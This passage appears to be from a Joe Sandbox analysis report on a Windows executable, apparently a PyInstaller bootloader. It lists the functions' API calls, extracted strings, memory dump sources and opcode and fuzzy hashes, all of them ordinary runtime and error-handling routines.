GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF6BAF03FB1), ref: 00007FF6BAF08EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF6BAF03FB1), ref: 00007FF6BAF08F5A

Part of subcall function 00007FF6BAF09390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6BAF045F4,00000000,00007FF6BAF01985), ref: 00007FF6BAF093C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF6BAF03FB1), ref: 00007FF6BAF08FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF6BAF03FB1), ref: 00007FF6BAF09044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF6BAF03FB1), ref: 00007FF6BAF09055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF6BAF03FB1), ref: 00007FF6BAF0906A

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction ID: e4b5da2409a42d8d1340faa4e1119f2a5d1ebba6abfbe908e58e83597ce3115a
Opcode Fuzzy Hash: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction Fuzzy Hash: C341A362B1968281EA309F6AE5402FA7398FF85BC6F444175DF8D97799EE3CE501C700

Function 00007FF6BAF1B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6BAF14F11,?,?,?,?,00007FF6BAF1A48A,?,?,?,?,00007FF6BAF1718F), ref: 00007FF6BAF1B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF6BAF14F11,?,?,?,?,00007FF6BAF1A48A,?,?,?,?,00007FF6BAF1718F), ref: 00007FF6BAF1B30D
FlsSetValue.KERNEL32(?,?,?,00007FF6BAF14F11,?,?,?,?,00007FF6BAF1A48A,?,?,?,?,00007FF6BAF1718F), ref: 00007FF6BAF1B33A
FlsSetValue.KERNEL32(?,?,?,00007FF6BAF14F11,?,?,?,?,00007FF6BAF1A48A,?,?,?,?,00007FF6BAF1718F), ref: 00007FF6BAF1B34B
FlsSetValue.KERNEL32(?,?,?,00007FF6BAF14F11,?,?,?,?,00007FF6BAF1A48A,?,?,?,?,00007FF6BAF1718F), ref: 00007FF6BAF1B35C
SetLastError.KERNEL32(?,?,?,00007FF6BAF14F11,?,?,?,?,00007FF6BAF1A48A,?,?,?,?,00007FF6BAF1718F), ref: 00007FF6BAF1B377

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 6e76f04cc177c9225ac1e74512eeb2af04cb85225e22ea0b76555523b8766700
Instruction ID: 73b7b3e80ee827f54936263e83db505b05e892feea714125d2b3c62df510319e
Opcode Fuzzy Hash: 6e76f04cc177c9225ac1e74512eeb2af04cb85225e22ea0b76555523b8766700
Instruction Fuzzy Hash: E4119060F0C662C2FA58A72D96511FD518A9F44BF2F0447B4EF2EC76D6DE2CA8518301

Function 00007FF6BAF02910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF6BAF01B6A), ref: 00007FF6BAF0295E

Strings

%s: %s, xrefs: 00007FF6BAF029E8
Error, xrefs: 00007FF6BAF02A0E
[PYI-%d:ERROR] , xrefs: 00007FF6BAF02966
Error [ANSI Fallback], xrefs: 00007FF6BAF029FF

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: c420f53501aa4fbcbc9633eff782ea38d563e865cd946ed8197637d1cdf35f51
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: A331D162B18A8152E720AB69A8406F76399BF887D6F404136FF8DC3759EF3CD54A8600

Function 00007FF6BAF02390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6BAF023C8
DialogBoxIndirectParamW.USER32 ref: 00007FF6BAF0248E
DeleteObject.GDI32 ref: 00007FF6BAF024C1
DestroyIcon.USER32 ref: 00007FF6BAF024D3

Strings

Unhandled exception in script, xrefs: 00007FF6BAF023F8

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction ID: dcc2f73b36e031a69f65c5c6805084e6007e2f80a1a39f1a6cf5be72ce999a8d
Opcode Fuzzy Hash: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction Fuzzy Hash: 5E318F72A19A8289EB20DF29E8542FA6364FF88785F800175EF4D8BB59DF3CD105C700

Function 00007FF6BAF02B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF6BAF0918F,?,00007FF6BAF03C55), ref: 00007FF6BAF02BA0
MessageBoxW.USER32 ref: 00007FF6BAF02C2A

Strings

Warning, xrefs: 00007FF6BAF02C1D
[PYI-%d:%ls] , xrefs: 00007FF6BAF02BA8
WARNING, xrefs: 00007FF6BAF02BAF

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: ab8196346dceca9846fc84e5bddd50bb546ddd58551a34451a1a3435db2a361c
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: 2C21A162708B8182E7219F18F8847EA63A8EB887C5F400136EF8D97655DF3CE245C740

Function 00007FF6BAF02710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF6BAF01B99), ref: 00007FF6BAF02760

Strings

Error, xrefs: 00007FF6BAF027DE
ERROR, xrefs: 00007FF6BAF0276F
[PYI-%d:%s] , xrefs: 00007FF6BAF02768
Error [ANSI Fallback], xrefs: 00007FF6BAF027CF

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: dbc626a487c596491853a83f858d06c1ec0d80d805f8067fff02060d4454fa3f
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: BD218E72A18B8182E7209F59B8817E6A398EB883C5F800176FF8C83659DF7CD1498740

Function 00007FF6BAF19A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6BAF19AAD
GetProcAddress.KERNEL32 ref: 00007FF6BAF19AC3
FreeLibrary.KERNEL32 ref: 00007FF6BAF19AEA

Strings

CorExitProcess, xrefs: 00007FF6BAF19ABC
mscoree.dll, xrefs: 00007FF6BAF19AA4

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: be2a2499e772f0b8e99b2a05c36df28a7184b4a4bea2a112144f9ba3ebffe3f8
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: DAF06261B0974681FB248F28E4943BA6368EF457A2F540279DF6E871E4DF3CE548D340

Function 00007FF6BAF29368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6BAF29390
_set_statfp.LIBCMT ref: 00007FF6BAF293AB
_set_statfp.LIBCMT ref: 00007FF6BAF293C7
_set_statfp.LIBCMT ref: 00007FF6BAF29403

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 825efc8d03b7049eeec79b58ab25f5c8383e6a6e96121c30944b1f16832c1d0b
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 6A116022E58B8A01FA78196DE4E13FD115CEF59362E0446B4FF6E973D6CE6C6C414100

Function 00007FF6BAF1B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6BAF1A5A3,?,?,00000000,00007FF6BAF1A83E,?,?,?,?,?,00007FF6BAF1A7CA), ref: 00007FF6BAF1B3AF
FlsSetValue.KERNEL32(?,?,?,00007FF6BAF1A5A3,?,?,00000000,00007FF6BAF1A83E,?,?,?,?,?,00007FF6BAF1A7CA), ref: 00007FF6BAF1B3CE
FlsSetValue.KERNEL32(?,?,?,00007FF6BAF1A5A3,?,?,00000000,00007FF6BAF1A83E,?,?,?,?,?,00007FF6BAF1A7CA), ref: 00007FF6BAF1B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF6BAF1A5A3,?,?,00000000,00007FF6BAF1A83E,?,?,?,?,?,00007FF6BAF1A7CA), ref: 00007FF6BAF1B407
FlsSetValue.KERNEL32(?,?,?,00007FF6BAF1A5A3,?,?,00000000,00007FF6BAF1A83E,?,?,?,?,?,00007FF6BAF1A7CA), ref: 00007FF6BAF1B418

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 1205eb580edf5f01ca8b4814e6223d3abe58dec8f4302b4a1418e053d044079b
Instruction ID: 0b7cfb228928bc068b8f5aa930f1a874efb99baa5b30b7edd8330464db6ce177
Opcode Fuzzy Hash: 1205eb580edf5f01ca8b4814e6223d3abe58dec8f4302b4a1418e053d044079b
Instruction Fuzzy Hash: CE1154A0F0C66281FA68A72D95511F9518A5F44BF2F4883B5DF7DC76D6DD2CEC418301

Function 00007FF6BAF1B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF6BAF1B235
FlsSetValue.KERNEL32 ref: 00007FF6BAF1B254
FlsSetValue.KERNEL32 ref: 00007FF6BAF1B27C
FlsSetValue.KERNEL32 ref: 00007FF6BAF1B28D
FlsSetValue.KERNEL32 ref: 00007FF6BAF1B29E

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: bf83eb150196550a4495dae3dda7890b660f5c9ac87af4e6a38f24b500c96486
Instruction ID: 612965cb480e28098767d9b97dc4741c00c398898d112863ab03f615c729f2db
Opcode Fuzzy Hash: bf83eb150196550a4495dae3dda7890b660f5c9ac87af4e6a38f24b500c96486
Instruction Fuzzy Hash: F8112AA0E0C26781FA6A627D89511FE118A4F46BB2F0847B4DF3ECB6D2DD2CB8449311

Function 00007FF6BAF15FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF15FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF16106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF161BC

Strings

verbose, xrefs: 00007FF6BAF15FB0

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: d4ebfe1b05faa466af2508767b7885b81e5ea77264a5d88c65cce1d8f679ae10
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: 1B91C1B2A086A681FBA18EACD4503FD77A9AB40F96F444176DF5D833D6DE3DE4458300

Function 00007FF6BAF1FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF1FEA7

Part of subcall function 00007FF6BAF17A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF17A59

Strings

UTF-8, xrefs: 00007FF6BAF1FE26
UTF-16LEUNICODE, xrefs: 00007FF6BAF1FE45
ccs, xrefs: 00007FF6BAF1FDE2

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: ec7da137c78626beee64699d29db8e35322a9716144faf10d044e92ef75b08b8
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: E781CFF2E0866385F7649E2E81102F836A8AF11B4AF5584B6CF49C7295CF2DED0AD701

Function 00007FF6BAF0D648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6BAF0D673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6BAF0D70A
RtlUnwindEx.KERNEL32 ref: 00007FF6BAF0D764

Strings

csm, xrefs: 00007FF6BAF0D6F1

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: d4dcb291ed4540a73fa9b4e22c221c8a7abdf26b939e29ca7875078979830e48
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: 2351AC32B196028AEB248F19E444AB97799EB44BD9F548171EF4EC7788EF7CE841C700

Function 00007FF6BAF0F288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6BAF0F2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6BAF0F398

Strings

csm, xrefs: 00007FF6BAF0F3EA
csm, xrefs: 00007FF6BAF0F2D2

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 1ecea3963f17342e883feef42311839b5e33f1d5dd71d4afed46852335bc8525
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: A4519F36A08382CAEB748F29D444AA877A8FB54B96F1481B6DF4D87B85CF3CE455C701

Function 00007FF6BAF0EED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6BAF0EF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6BAF0EF83

Strings

RCC, xrefs: 00007FF6BAF0EF53
MOC, xrefs: 00007FF6BAF0EF4B

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: bc4a189fa878c50a0149af81131b8d0ff82fcc08aafcc24ac7ad342f6558970e
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: B9617E32908B8585EB709F29E4407EAB7A4FB94785F044265EF9C83B99CF7CD194CB00

Function 00007FF6BAF02810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF6BAF028EA

Strings

Error, xrefs: 00007FF6BAF028DD
[PYI-%d:%ls] , xrefs: 00007FF6BAF02868
ERROR, xrefs: 00007FF6BAF0286F

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
